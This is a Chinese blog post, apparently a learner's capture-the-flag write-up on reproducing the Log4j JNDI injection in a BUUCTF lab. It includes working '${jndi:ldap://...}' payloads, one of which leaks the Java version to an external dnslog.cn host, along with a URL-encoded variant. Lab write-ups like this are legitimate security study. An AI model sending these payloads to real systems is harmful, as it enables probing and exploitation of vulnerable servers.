当前位置: 首页 > article >正文

buuctf漏洞复现之log4j

前言:

发现自己不会挖掘漏洞,遂学习常见漏洞复现

思考:

什么是log4j,是apache下的java应用常见的开源日志库,也就是java语言,中间件为apache

内容:

${jndi:ldap://${sys:java.version}.gf3q2v.dnslog.cn}

dnslog获取的域名

发现有传入参数,于是在网上找了可以传入dnslog的域名

${jndi:ldap://${sys:java.version}.gf3q2v.dnslog.cn

但是400错误了,于是在网上找了400错误是什么。那就是服务器处理不了的请求,

参考解析HTTP错误码400 Bad Request及其常见原因与解决方法-CSDN博客

1xx:信息,表示服务器已接收到请求并且正在处理。
2xx:成功,表示服务器成功处理了请求。
3xx:重定向,表示需要进一步操作以完成请求。
4xx:客户端错误,表示服务器无法处理请求。
5xx:服务器错误,表示服务器在处理请求时发生了错误。

我在网上好像看到答案了,说是400错误是由于,客户端传输过程中进行解码了

我的猜想是对的,但是不是用那个payload解的,

发现那个payload也可以,我看网上多写了空格!!!也是需要url编码的

推荐网站CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码

${jndi:ldap://${sys:java.version}.gf3q2v.dnslog.cn}

是用这个${jndi:ldap://xyr4kk.dnslog.cn}

但是要编码,编码之后为

%24%7Bjndi%3Aldap%3A//xyr4kk.dnslog.cn%7D


http://www.kler.cn/a/473285.html

相关文章:

  • 上门按摩系统架构与功能分析
  • SpringBoot3动态切换数据源
  • 单元测试MockitoExtension和SpringExtension
  • 这是什么操作?强制迁移?GitLab 停止中国区用户访问
  • 用python 进行雷电接口检测
  • Linux存储管理之核心秘密(The Core Secret of Linux Storage Management)
  • 盛最多水的容器
  • SSH之Hibernate(二)
  • NRF24L01模块STM32通信-调试前言
  • js策略模式
  • UDP -- 简易聊天室
  • 使用 Rust 和 WASM 打造高性能 Web 应用
  • 以太网协议在汽车应用中的动与静
  • Java jdk8新特性:Stream 流
  • esp32开发笔记之一:esp32开发环境搭建vscode+ubuntu
  • 《(限)战斗天赋VR》V02122024官方中文学习版
  • 高防服务器对于网络攻击是怎样进行防御的?
  • 服务器与机顶盒
  • 文件传输速查表:Windows 和 Linux
  • zookeeper监听机制(Watcher机制)
  • mysql之sql的优化方案(重点)
  • 【关于 vite 使用plugin-legacy兼容低版本浏览器仍出现的问题的情况】
  • 微信小程序实现长按录音,点击播放等功能,CSS实现语音录制动画效果
  • 庐山派k230使用串口通信发送数据驱动四个轮子并且实现摄像头画面识别目标检测功能
  • HCIE-day10-ISIS
  • 计算机视觉目标检测-DETR网络